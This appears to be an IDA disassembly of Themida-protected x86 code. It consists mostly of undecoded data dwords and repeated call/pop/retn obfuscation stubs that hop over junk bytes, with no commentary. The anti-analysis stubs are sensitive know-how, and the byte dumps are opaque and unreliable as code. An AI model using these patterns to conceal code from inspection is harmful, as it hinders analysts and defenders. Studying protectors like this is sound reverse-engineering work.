		cmp	dword ptr [ebp+0AE30069h], 3
		jnz	loc_5CCC01
		jmp	loc_5CC7CD
; ---------------------------------------------------------------------------
		db 37h,	5Ch, 4Ch
		dd 85EE2C5h, 52CBD6C5h
		db 0ECh
; ---------------------------------------------------------------------------


loc_5CC7CD:				; CODE XREF: Themida_:005CC7BCj
		cmp	dword ptr [ebp+0AE6D62Ah], 0
		jz	loc_5CCC01
		push	0
		push	eax
		call	sub_5CC7E5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC7E5	proc near		; CODE XREF: Themida_:005CC7DDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5CC7E5	endp

; ---------------------------------------------------------------------------
		sar	dword ptr [esi-67h], 8Bh
		mov	ebp, 0AE325D9h
		push	dword ptr [ebp+0AE6D62Ah]
		push	0
		push	edi
		call	sub_5CC80F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC80F	proc near		; CODE XREF: Themida_:005CC807p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CC80F	endp

; ---------------------------------------------------------------------------
		mov	dl, 0B4h
		mov	edi, [ebp+0AE319F5h]
		call	dword ptr [ebp+0AE33315h]
		movsx	ebx, si
		push	ecx
		mov	ebx, [ebp+0AE32B6Dh]
		pop	ebx
		mov	esi, [ebp+0AE6D61Eh]
		push	0
		push	esi
		call	sub_5CC849
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC849	proc near		; CODE XREF: Themida_:005CC841p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5CC849	endp

; ---------------------------------------------------------------------------
		db 0F3h, 0EEh, 67h
; ---------------------------------------------------------------------------
		test	al, 0E2h
		mov	edi, 42E2D8F0h
		mov	dword ptr [esi], 10001h
		jmp	loc_5CC87E
; ---------------------------------------------------------------------------
		dw 2B69h
		dd 97CCDC2Dh, 0F823B354h, 0DB4349AFh
		db 63h,	0F9h
; ---------------------------------------------------------------------------


loc_5CC87E:				; CODE XREF: Themida_:005CC869j
		xchg	eax, esi
		mov	edi, esi
		push	eax
		jmp	loc_5CC893
; ---------------------------------------------------------------------------
		db 7Eh
		dd 0F0522747h, 382C95A3h
; ---------------------------------------------------------------------------
		movsd
		or	dl, [ecx]


loc_5CC893:				; CODE XREF: Themida_:005CC882j
		xchg	eax, esi
		push	0
		push	ebx
		call	sub_5CC89F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC89F	proc near		; CODE XREF: Themida_:005CC897p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CC89F	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 890A50B1h, 0E310A595h, 0F5BD890Ah, 0FF0AE328h, 0E6D62AB5h
		dd 10E80Ah, 55780000h, 34E5628Bh, 0FD125AC5h, 0CC5EFECEh
		dd 8D89ED79h, 0AE306CDh, 0BD95FF5Bh, 8B0AE320h,	0E329019Dh
		dd 1EB58B0Ah, 290AE6D6h, 0E31155BDh, 59858B0Ah,	8B0AE310h
		dd 0E32525BDh, 0C486890Ah, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0FA4EC350h
		dd 0FBC2BC00h, 0DA8B669Dh, 1479958Bh, 0BF0F0AE3h, 4C283F9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AC35747h
		dd 0CEB40704h, 12E8h, 9640FC00h, 7E8EA30h, 239F5C98h, 36755144h
		dd 8B19C8F8h, 0E32FB5BDh, 50895F0Ah, 50006A20h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 604748FFh
		dd 8BC7B70Fh, 850961D0h, 0AE32D49h, 0E8B3858Dh,	0F570AE6h
		dd 683h, 2FEF8100h, 5F631E1Eh, 17E5BD8Bh, 86890AE3h, 0B8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B0C35242h
		dd 0BD8B4078h, 0AE30655h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 5D6F54C3h, 9D8BF80Bh
		dd 0AE32E39h, 0D62AB5FFh, 81660AE6h, 0E8DF54E7h, 0Fh, 9B11AD14h
		dd 0F40F5861h, 0A9D228E9h, 23A1D915h, 0E304F19Dh, 95FF5F0Ah
		dd 0AE31E71h, 0ED958B60h, 600AE32Bh, 251D8D8Bh,	61610AE3h
		dd 5820F50h, 0BB000000h, 60C46AAh, 0F8243489h, 0D62AB5FFh
		dd 52560AE6h, 5F5B5F53h, 236995FFh, 83F50AE3h, 0E317ADBDh
		dd 840F000Ah, 51h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0BEC35747h, 8FA84A3Ah, 0DEBF0FF5h, 1C6CC381h
		dd 8A9601C3h, 0B56050FDh, 0DE8604Ch, 0E000000h,	1B6EBD75h
		dd 0EF368256h, 0F0DEBC1Ch, 0F525059h, 61585A31h, 0BF0F9661h
		dd 2AB5FFDBh, 8B0AE6D6h, 0E305F1BDh, 9595FF0Ah,	0E80AE302h
		dd 10h,	0FE54348Eh, 79356584h, 310AC5E4h, 8A321DCFh, 2BAD9D8Bh
		dd 895F0AE3h, 0E321A5BDh, 2AB5FF0Ah, 6A0AE6D6h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 2428C351h, 5C7405F0h, 97A2655Bh, 11DD95FFh, 9D8B0AE3h
		dd 0AE31AF9h, 197DBD83h, 0F020AE3h, 8C84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0AE95A18h, 83000000h, 401CB31Fh, 83824576h, 61BD8B22h
		dd 8B0AE314h, 0E31A6585h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 94D8276Dh
		dd 193CE615h, 8E0FD257h, 6, 2D858D89h, 0C60AE3h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0F065D112h, 1D85C7DCh, 0AE321h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 65EEC356h, 0F852FD87h
; ---------------------------------------------------------------------------
		pop	ebx


loc_5CCC01:				; CODE XREF: Themida_:005CC7B6j
					; Themida_:005CC7D4j
		jmp	near ptr loc_5CBF31+1
; ---------------------------------------------------------------------------
		db  0Fh
		db 0BFh	; ¿
		db 0F9h	; ù
		db  8Bh	; ‹
		db 0C1h	; Á
		db  29h	; )
		db  95h	; •
		db 0F5h	; õ
		db  22h	; "
		db 0E3h	; ã
		db  0Ah
		db  8Dh	; 
		db  85h	; …
		db 0FDh	; ý
		db  2Fh	; /
		db 0E3h	; ã
		db  0Ah
		db  6Ah	; j
		db    0
		db  57h	; W
		db 0E8h	; è
		db    3
		db    0
		db    0
		db    0
		db  20h
		db  5Fh	; _
		db 0C3h	; Ã

; =============== S U B	R O U T	I N E =======================================



sub_5CCC22	proc near

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5CCC22	endp

; ---------------------------------------------------------------------------
		dw 0B781h
		dd 0AFCF73A7h, 0CA892D06h, 260EBBFCh, 0B605103h, 0E328F58Dh
		dd 0E890610Ah, 7, 90435020h, 57DA88F4h,	5F5B5B56h, 0A505BF50h
		dd 89902132h, 0E304099Dh, 6A006A0Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 5C33C353h
		dd 6AA668h, 858D09B3h, 0AE7A949h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0ECC35545h,	522D593Bh, 0C083DF0Eh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0A2F1ADF4h, 1D0DBD8Bh, 66900AE3h, 50AE66BBh
		dd 14E8h, 0E35E00h, 0EC2AF2CFh,	0B96D6719h, 8B616C04h
		dd 0BA2DF1FEh, 0F525015h, 98BF6631h, 5B585ABEh,	43F78190h
		dd 6653DC95h, 0BEAEF381h, 0BD33006Ah, 0AE303C9h, 0BD8B006Ah
		dd 0AE333B5h, 16FDBD8Bh, 95FF0AE3h, 0AE314E9h, 0C8FE92BFh
		dd 0CA8D8D64h, 6A0AE6D5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0EECCC350h,	0FBF1844Ah
		dd 101DB589h, 9D890AE3h, 0AE30905h, 860FD1FFh, 4, 45ABBB66h
		dd 2269BD83h, 0F010AE3h, 0BA85h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 26AB373h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 73C35040h, 14E92EFCh
		dd 8F000000h, 72879432h, 10931FA3h, 2E3588B5h, 0A377C54Bh
		dd 50CDFB92h, 0BE9h, 0C3C38A00h, 397C15CAh, 591A7324h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1149C357h, 0A7EE33BFh,	0F78187B0h
		dd 5117049Ch, 1E7195FFh, 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 816669C3h, 0E90775EBh
		dd 0CCAh, 0E8h,	0ED815D00h, 0AE7A953h, 0E4D78166h, 57006ADCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 722CE70Bh, 4FAD12EAh, 870F7C8Bh, 6, 226DBD23h, 858D0AE3h
		dd 0AE6C13Eh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	1BC35545h, 5050FC93h, 8E852h, 0E4B80000h, 12FE3A0Ah
		dd 5B535D19h, 5A310F5Bh, 24048958h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0EEC35545h,	2BEB81BBh, 64730E96h
		dd 35FFh, 89640000h, 25h, 0D9B70F00h, 1C1585FFh, 6A0AE3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 6AC163C3h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 766BD5F1h, 6E84Eh, 0A2D0000h, 0AC1F96E9h
		dd 5BD8BF0Fh, 5CDB5FFh,	0BD8B0AE3h, 0AE318B1h, 7D95FFh
		dd 22E90AE3h, 8B000001h, 0E33311BDh, 8B00B00Ah,	0E30A6D9Dh
		dd 0E470E60Ah, 0DE871h,	758F0000h, 0A8724A84h, 9A766FC7h
		dd 89476DBDh, 0E3182D95h, 3CF55F0Ah, 0EE830F61h, 81000000h
		dd 3683DF7h, 5800F2Fh, 66000000h, 7FD4DB81h, 66C8B60Fh
		dd 4677CF81h, 6BAh, 0DA8B6600h,	7E9C18Bh, 0DD000000h, 56538C51h
		dd 0E8C10F6Ah, 0D1BD2B04h, 660AE32Fh, 0BD89E2F7h, 0AE33071h
		dd 3151C82Bh, 0E314DD8Dh, 0D18B5B0Ah, 9BE9F8h, 9D8B0000h
		dd 0AE323C1h, 0F5858BF5h, 0E80AE30Fh, 10h, 0A155EE31h
		dd 4E69447Bh, 88E767C3h, 2C563DF7h, 835BD88Bh, 8D2907C0h
		dd 0AE31179h, 8B00C083h, 0E314FD9Dh, 0FD03B0Ah,	1F83h
		dd 0FE900h, 943E0000h, 0F59E8063h, 0EFF1509Eh, 3B74DA1h
		dd 43E990h, 0DF810000h,	3646E98h, 2DED8D8Bh, 9D8B0AE3h
		dd 0AE3265Dh, 0F01E183h, 2884h,	299D8B00h, 830AE315h, 0E32DEDA5h
		dd 8B51FE0Ah, 0E311D99Dh, 90B75F0Ah, 0FF59589h,	0E3810AE3h
		dd 4B1AB8CCh, 0E9h, 53B58D00h, 90AE71Dh, 0E306DD85h, 6A006A0Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 45F5C352h, 95FFCEB7h, 0AE31CD1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B2C35040h, 739B10Dh
		dd 0DFB3B0D3h, 2FC5BD8Bh, 0BF0F0AE3h, 7CBB9DEh,	890F0000h
		dd 6, 33A5BD8Bh, 0E1830AE3h, 55006AFCh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FD84147h
		dd 6AFCDFBFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 77CCC357h, 6B5951A0h, 8B05909Ah
		dd 0E32E9DBDh, 0BD9D8B0Ah, 0B80AE323h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CD157
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD157	proc near		; CODE XREF: Themida_:005CD14Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CD157	endp

; ---------------------------------------------------------------------------
		aas
		push	ss
		xlat
		xchg	eax, edi
		mov	ecx, 0BC5C72Eh
		xor	bx, 2277h
		or	di, 0D882h
		push	edx
		mov	di, 99B9h
		pop	edi
		sub	edx, edx
		push	0
		push	ebx
		call	sub_5CD18D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD18D	proc near		; CODE XREF: Themida_:005CD185p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5CD18D	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0E9h, 0B5h
		dd 0E21701A7h, 14FD9D8Bh, 8B660AE3h, 0C233ADF9h, 0D003E8D1h
		dd 7504E983h, 0E1BD33F4h, 0E80AE330h, 5, 84194BE2h, 6A5BF9FEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8DD6C352h, 0BD29553Eh, 0AE31095h,	880Dh
		dd 8BF88A00h, 0E3147995h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 625378E9h
		dd 898C51DDh, 0E31239BDh, 2BBF660Ah, 0C98D8B87h, 6A0AE306h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 13DAC357h, 0B19FBAAFh, 8B50DDBBh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 2D699D8Bh, 0F98A0AE3h
		dd 1F61BD83h, 0F000AE3h, 4284h,	0B800h,	0BD010000h, 0AE312EDh
		dd 4E6E8D8Dh, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0BDF6AAC3h, 4880F51h, 66000000h
		dd 0FF25A7BBh, 119D8BE1h, 830AE311h, 0E30069BDh, 840F000Ah
		dd 390h, 509EBF66h, 69BD83h, 0F010AE3h,	39A84h,	8E900h
		dd 0BAF00000h, 5A5CE57Ah, 0BD831123h, 0AE30069h, 4A860F03h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 1D10C352h, 3916199Dh, 32CB76AEh
		dd 0AD9D31F5h, 600AE307h, 0AE8h, 252BA100h, 8E4326A9h
		dd 5BA0D40Ch, 81D98C66h, 736BFEE3h, 4E18050h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 97C35040h, 0D02C8DACh
		dd 54DE782Eh, 17559D89h, 0C90A0AE3h, 0D0840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E87FE4C3h, 8, 0EEFA94E7h, 6E60BFC8h, 2C219D8Bh, 0BB5F0AE3h
		dd 5694A53Bh, 1FD1858Bh, 6A0AE3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 1D2E2FC3h, 0F261B5DBh
		dd 91BBD4BCh, 33399F43h, 0E31E4585h, 0A9BD890Ah, 500AE326h
		dd 89DF8B66h, 8B662404h, 0F006AF9h, 0E468FBB7h,	0B710DE87h
		dd 24348126h, 10C1841Bh, 95FFDD8Ah, 0AE31A45h, 0D62A8589h
		dd 9D290AE6h, 0AE32395h, 1AAE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 61E4E552h
		dd 0FCFA6AD3h, 190DBD31h, 858B0AE3h, 0AE6D622h,	0C7D98B66h
		dd 1800h, 26B58B00h, 0E80AE6D6h, 0Ah, 5644344h,	62FE0A70h
		dd 7E898DAh, 1A000000h,	9BA886A2h, 0BD8BDD4Eh, 0AE31BB9h
		dd 8BF95F5Bh, 0E325D185h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 1AEB2394h
		dd 689F861h, 8BF5D380h,	0E31FD185h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7FBE9616h
		dd 89497DA1h, 9D030446h, 0AE30AEDh, 0D88B6650h,	6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 974EC350h, 0CE10A656h, 0B5FFC33Bh, 0AE6D622h
		dd 5BF1BB66h, 0DEAB3F68h, 0F5250DDh, 12E831h, 86280000h
		dd 0B0EC7376h, 0B3ECB12h, 0ECF8CA4Ch, 8E2C23C7h, 310F5250h
		dd 5A5B585Ah, 24048158h, 224058C0h, 0D62A858Dh,	6A0AE6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 517072C3h, 300FD409h, 0B8BBB70Dh, 904DA114h,	5350D98Bh
		dd 6A905Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0B871E5C3h, 38B64462h, 259D03BFh,	0FF0AE307h
		dd 0E31A4595h, 57006A0Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 51A34C92h, 61CAB5DAh
		dd 85C7D88Ah, 0AE30069h, 3, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0FBC35646h, 63D86C2Dh, 9286BCA4h, 0D62ABD83h
		dd 0F000AE6h, 4084h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 14E996h, 0AE470000h, 2F567EF4h
		dd 54A55A76h, 67D05BC9h, 4015666Ah, 21E9ECE9h, 89000000h
		dd 0E3132985h, 0C30500Ah, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 3890Fh, 0BF0F0000h, 56006AFAh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7203B922h, 0FA4C207h, 0E81h,	7E95200h, 83000000h, 49288622h
		dd 835B9706h, 0E30069BDh, 850F030Ah, 418h, 2FA9B589h, 0BD830AE3h
		dd 0AE6D62Ah, 5840F00h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0F7C2C356h
		dd 4033D997h, 606BDA67h, 0F08EE80h, 284h, 61D18B00h, 0D62AB5FFh
		dd 6A0AE6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 865DE0C3h, 8B856891h, 0E30609BDh,	1595FF0Ah
		dd 6A0AE333h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 6EDDC351h, 0F8C0E2BFh,	89505248h
		dd 0E313A1BDh, 0F5B5F0Ah, 198Dh, 0DE800h, 9F9A0000h, 0AF3DE51h
		dd 0EFF72AFFh, 8917B017h, 0E31A2DB5h, 0B58B5B0Ah, 0AE6D61Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 27C35141h
		dd 58B449B6h, 31165E8h,	0C7F98A4Ah, 1000106h, 7D958900h
		dd 0F80AE32Dh, 66525096h, 310FD88Bh, 4820Fh, 0BB660000h
		dd 585A3B9Dh, 96ACB750h, 0D62AB5FFh, 0FBB0AE6h,	0FF531B05h
		dd 0E320BD95h, 0FEB70F0Ah, 0D61EB58Bh, 8B0F0AE6h, 4, 5FDE8B51h
		dd 1059858Bh, 8B0F0AE3h, 6, 25E9BD89h, 86890AE3h, 0C4h
		dd 0E4ECBB66h, 1479958Bh, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0E933DC3h, 2FD394EEh
		dd 0C283DA8Bh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0BFA1F12Ah, 0D3D15803h
		dd 6A6AEF81h, 508939BCh, 51006A20h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 5B2AFB81h, 0BD89A67Bh
		dd 0AE30655h, 0E8B3858Dh, 31520AE6h, 0E32941B5h, 86895B0Ah
		dd 0B8h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F5C35646h, 501008A3h, 92E38193h, 892052C4h, 0E3320DB5h
		dd 6A006A0Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 6353C356h, 6AE418F1h, 503E8E45h
		dd 0D62AB5FFh, 0BD8B0AE6h, 0AE310EDh, 1E7195FFh, 6A0AE3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 507A17C3h, 3FA587DDh, 68F0F29h, 81000000h, 779A7FF7h
		dd 0A0BF9643h, 5018197Eh, 0F9BF0F96h, 0D62AB5FFh, 6A0AE6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 407533C3h, 0FB8B4789h, 236995FFh, 6A0AE3h, 3E852h, 5A200000h
		dd 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0BBF923C3h, 3FABB545h
		dd 2D21BD8Bh, 0BD830AE3h, 0AE317ADh, 63840F00h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 5293C352h, 0BE7C24E4h, 9D8B6385h,	0AE3192Dh
		dd 5EEF77BFh, 7BBF961Ch, 5049322Bh, 24E0BB66h, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 6621E180h, 3CAFDB81h, 11CD9D8Bh, 0B5FF0AE3h,	0AE6D62Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 62C35242h
		dd 9896B8C5h, 0B11726C5h, 11BB66A3h, 9595FF7Fh,	0F0AE302h
		dd 0B5FFDBBFh, 0AE6D62Ah, 0A18501h, 95FF0AE3h, 0AE311DDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5AC35343h
		dd 8A042F94h, 14E969h, 87A0000h, 0D13B24C1h, 0BEF46EECh
		dd 6643FE4Dh, 0B529851Ch, 0BD83A6E7h, 0AE3197Dh, 2B840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B7DC352h, 0E31A6585h,	0C60Ah
		dd 259BD29h, 85C70AE3h,	0AE3211Dh, 0
		dd 0DA10BF66h, 0FFF41EE9h, 3840FFFh, 66000000h,	0C18BFA8Bh
		dd 72F8C381h, 858D1B0Fh, 0AE32FFDh, 0EE9h, 0D1719C00h
		dd 0CB16CBCAh, 0A6F98412h, 90640941h, 310F5250h, 840F51h
		dd 5B000000h, 6650585Ah, 6A90FB8Bh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 6320FBC7h
		dd 6AA719ACh, 858DF500h, 0AE7B81Eh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 6BC35242h, 6A05C083h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0E2C0C353h, 0C1196ECBh, 98E0BB4Bh, 8F0F7894h, 6, 2099B589h
		dd 0F500AE3h, 48Bh, 0CBBB6600h,	240489BDh, 49BD0960h, 0BA0AE32Eh
		dd 2A09F810h, 6A006A61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0FACEC350h,	6B5D8F80h
		dd 0F210FABEh, 34D1B529h, 6A0AE3h, 14E995FFh, 6A0AE3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D299BC3h, 0AE307B9h, 15558529h, 8D8D0AE3h, 0AE6D5CAh
		dd 59958951h, 5B0AE316h, 83F8D1FFh, 0E32269BDh,	850F010Ah
		dd 0C4h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	9FC35040h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 8C46B7C3h, 7F7BB25Eh
		dd 30499D8Bh, 0DB810AE3h, 140173Ah, 5FBF6690h, 0CE8500Bh
		dd 0EA000000h, 66021C15h, 68030F3Dh, 5F2DC097h,	51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 816D5E01h, 2C2E69EFh, 7195FF1Fh, 6A0AE31Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7B79C356h, 0E960523Ch, 0Ch, 0DE8730A9h, 93B83829h, 9DDE13DBh
		dd 5B61FA8Bh, 0CC4E9h, 0E800h, 815D0000h, 0E7B828EDh, 5FD7800Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BEC35141h
		dd 818559Fh, 0C13E858Dh, 0B70F0AE6h, 0BF6650FAh, 4892E40h
		dd 0FD98A24h, 0FF64DEB7h, 35h, 905EBB00h, 89644113h, 25h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 1B767E14h, 880F281Eh, 19h, 14E9h, 8B50B800h
		dd 0F46D589Fh, 6291A0B7h, 2DCD24E3h, 9FCA6D7Eh,	1585FF81h
		dd 6A0AE31Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FECC351h, 0E8Fh, 9E900h, 50050000h
		dd 0D873223Eh, 6A467390h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 85CFA91Ch
		dd 5DDB81FAh, 0FF1635D1h, 0E32C91B5h, 3DBD8B0Ah, 0FF0AE318h
		dd 0E3007D95h, 13FE90Ah, 0BD890000h, 0AE303C9h,	0B70F00B0h
		dd 6670E6DFh, 0DB61EB81h, 12E871E4h, 0AD000000h, 120319D0h
		dd 3432EF2Ch, 79C69D38h, 7E3A8A17h, 0F381665Ch,	3C5B9FD5h
		dd 6830F61h, 0E8000001h, 0Ch, 0F62BFC1Eh, 0DE798FDCh, 89A5C16Bh
		dd 0C8B60F5Bh, 1579B501h, 6BA0AE3h, 89000000h, 0E3235D8Dh
		dd 66C18B0Ah, 0E8C1F88Bh, 499D8B04h, 660AE320h,	0BD2BE2F7h
		dd 0AE3303Dh, 0B70FC82Bh, 8BD18BF9h, 0E307F1BDh, 14E8600Ah
		dd 66000000h, 0BE682420h, 8E3E84D9h, 4EDC27E1h,	7CA5B258h
		dd 1055E29h, 0E3211985h, 13E9580Ah, 77000000h, 0A13EC1A2h
		dd 604A628Eh, 0D3208B03h, 3BE387BBh, 0E9614846h, 7Dh, 6559589h
		dd 858B0AE3h, 0AE33091h, 8501BB66h, 8907C083h, 0E333D595h
		dd 0C0830Ah, 0EF95BB66h, 830FD03Bh, 16h, 9C58509h, 4BF0AE3h
		dd 0E9489EF6h, 45h, 33B58589h, 8D8B0AE3h, 0AE31281h, 66FA8B66h
		dd 83EAEEBBh, 840F01E1h, 29h, 83FEBF0Fh, 0E31281A5h, 0AFBFFE0Ah
		dd 89623207h, 0E3309195h, 6E80Ah, 0C0E60000h, 0A25DA4A2h
		dd 5BDA8B66h, 0E9h, 1B58D00h, 660AE727h, 8960DA8Bh, 0E303CD9Dh
		dd 31E8810Ah, 616A0E7Ah, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0DFF833C3h, 79A00FC4h
		dd 2D9D8B59h, 0FF0AE318h, 0E31CD195h, 8ECB90Ah,	8D890000h
